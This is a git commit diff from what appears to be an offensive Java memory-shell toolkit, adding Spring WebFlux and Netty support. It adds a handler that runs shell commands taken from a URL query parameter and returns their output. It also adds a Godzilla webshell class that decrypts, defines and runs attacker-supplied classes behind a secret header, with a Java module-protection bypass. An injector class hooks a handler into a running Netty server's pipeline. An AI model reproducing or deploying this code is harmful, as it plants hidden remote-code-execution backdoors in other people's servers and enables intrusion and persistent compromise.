feat: support webflux netty shell (#8)

This commit is contained in:
ReaJason
2025-01-05 15:44:43 +08:00
parent d511a8346f
commit 8e36beaad1
11 changed files with 408 additions and 19 deletions
+2
View File
@@ -18,6 +18,8 @@ dependencies {
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
implementation 'org.springframework:spring-webflux:5.3.24'
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
implementation 'io.netty:netty-all:4.1.116.Final'
implementation 'net.bytebuddy:byte-buddy:1.+'
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
providedCompile 'javax.websocket:javax.websocket-api:1.1'
@@ -19,7 +19,6 @@ public class CommandHandlerMethod {
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
try {
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
System.out.println("handler method cmd: " + cmd);
StringBuilder result = new StringBuilder();
try {
if (cmd != null) {
@@ -0,0 +1,73 @@
package com.reajason.javaweb.memshell.springwebflux.command;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelDuplexHandler;
import io.netty.channel.ChannelFutureListener;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.http.*;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URI;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
*/
@ChannelHandler.Sharable
public class CommandNettyHandler extends ChannelDuplexHandler {
public static String paramName;
@Override
@SuppressWarnings("all")
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof DefaultHttpRequest) {
DefaultHttpRequest request = (DefaultHttpRequest) msg;
HttpHeaders headers = request.headers();
String uri = request.uri();
String cmd = getParameter(uri, paramName);
if (cmd == null) {
ctx.fireChannelRead(msg);
return;
}
StringBuilder result = new StringBuilder();
try {
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Exception ignored) {
}
send(ctx, result.toString());
}
}
public String getParameter(String requestUrl, String paramName) throws Exception {
URI uri = new URI(requestUrl);
String query = uri.getQuery();
String[] kvs = query.split("&");
for (String kv : kvs) {
String k = null;
String[] pair = kv.split("=", 2);
if (pair.length > 0) {
k = pair[0];
}
if (pair.length > 1 && k != null && k.equals(paramName)) {
return pair[1];
}
}
return null;
}
private void send(ChannelHandlerContext ctx, String context) throws Exception {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
@@ -0,0 +1,159 @@
package com.reajason.javaweb.memshell.springwebflux.godzilla;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelDuplexHandler;
import io.netty.channel.ChannelFutureListener;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
@ChannelHandler.Sharable
public class GodzillaNettyHandler extends ChannelDuplexHandler {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
private StringBuilder requestBody = new StringBuilder();
private DefaultHttpRequest request;
private static Class<?> payload;
private static Class<?> defClass(byte[] classbytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class<?>) method.invoke(urlClassLoader, classbytes, 0, classbytes.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof DefaultHttpRequest) {
request = (DefaultHttpRequest) msg;
HttpHeaders headers = request.headers();
String value = headers.get(headerName);
if (value == null || !value.equals(headerValue)) {
ctx.fireChannelRead(msg);
return;
}
// 如果是当前 payload 进来不能调用 ctx.fireChannelRead(msg),不然的话下面不能拿到完整的 request body
}
if (msg instanceof HttpContent) {
HttpContent httpContent = (HttpContent) msg;
HttpHeaders headers = request.headers();
String value = headers.get(headerName);
// quick fail,防止其他哥斯拉马打进来走这个逻辑寄了
if (value == null || !value.equals(headerValue)) {
ctx.fireChannelRead(msg);
return;
}
String content = httpContent.content().toString(CharsetUtil.UTF_8);
requestBody.append(content);
if (httpContent instanceof LastHttpContent) {
try {
String base64Str = URLDecoder.decode(requestBody.substring(pass.length() + 1), "UTF-8");
requestBody.setLength(0);
byte[] data = x(base64Decode(base64Str), false);
if (payload == null) {
payload = defClass(data);
send(ctx, "");
return;
} else {
Object f = payload.newInstance();
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
f.equals(arrOut);
f.equals(data);
f.toString();
send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16));
}
return;
} catch (Exception ignored) {
}
}
ctx.fireChannelRead(msg);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
private void send(ChannelHandlerContext ctx, String context) throws Exception {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
static {
// webflux3 jdk17 bypass module
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, GodzillaNettyHandler.class, offset, module);
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,154 @@
package com.reajason.javaweb.memshell.springwebflux.injector;
import io.netty.channel.Channel;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelPipeline;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
static {
new SpringWebFluxNettyHandlerInjector();
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebFluxNettyHandlerInjector() {
try {
Object nettyServer = getNettyServer();
Object handler = getShell();
inject(nettyServer, handler);
} catch (Exception e) {
e.printStackTrace();
}
}
private Object handler;
public SpringWebFluxNettyHandlerInjector(Object handler) {
this.handler = handler;
}
public Object getNettyServer() throws Exception {
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
return thread;
}
}
return null;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
public void inject(Object nettyServer, Object handler) {
try {
Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
this.handler = handler;
setFieldValue(config, "doOnChannelInit", this);
System.out.println("netty handler injected successfully");
} catch (Exception ignored) {
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
@Override
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) {
ChannelPipeline pipeline = channel.pipeline();
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handler));
}
}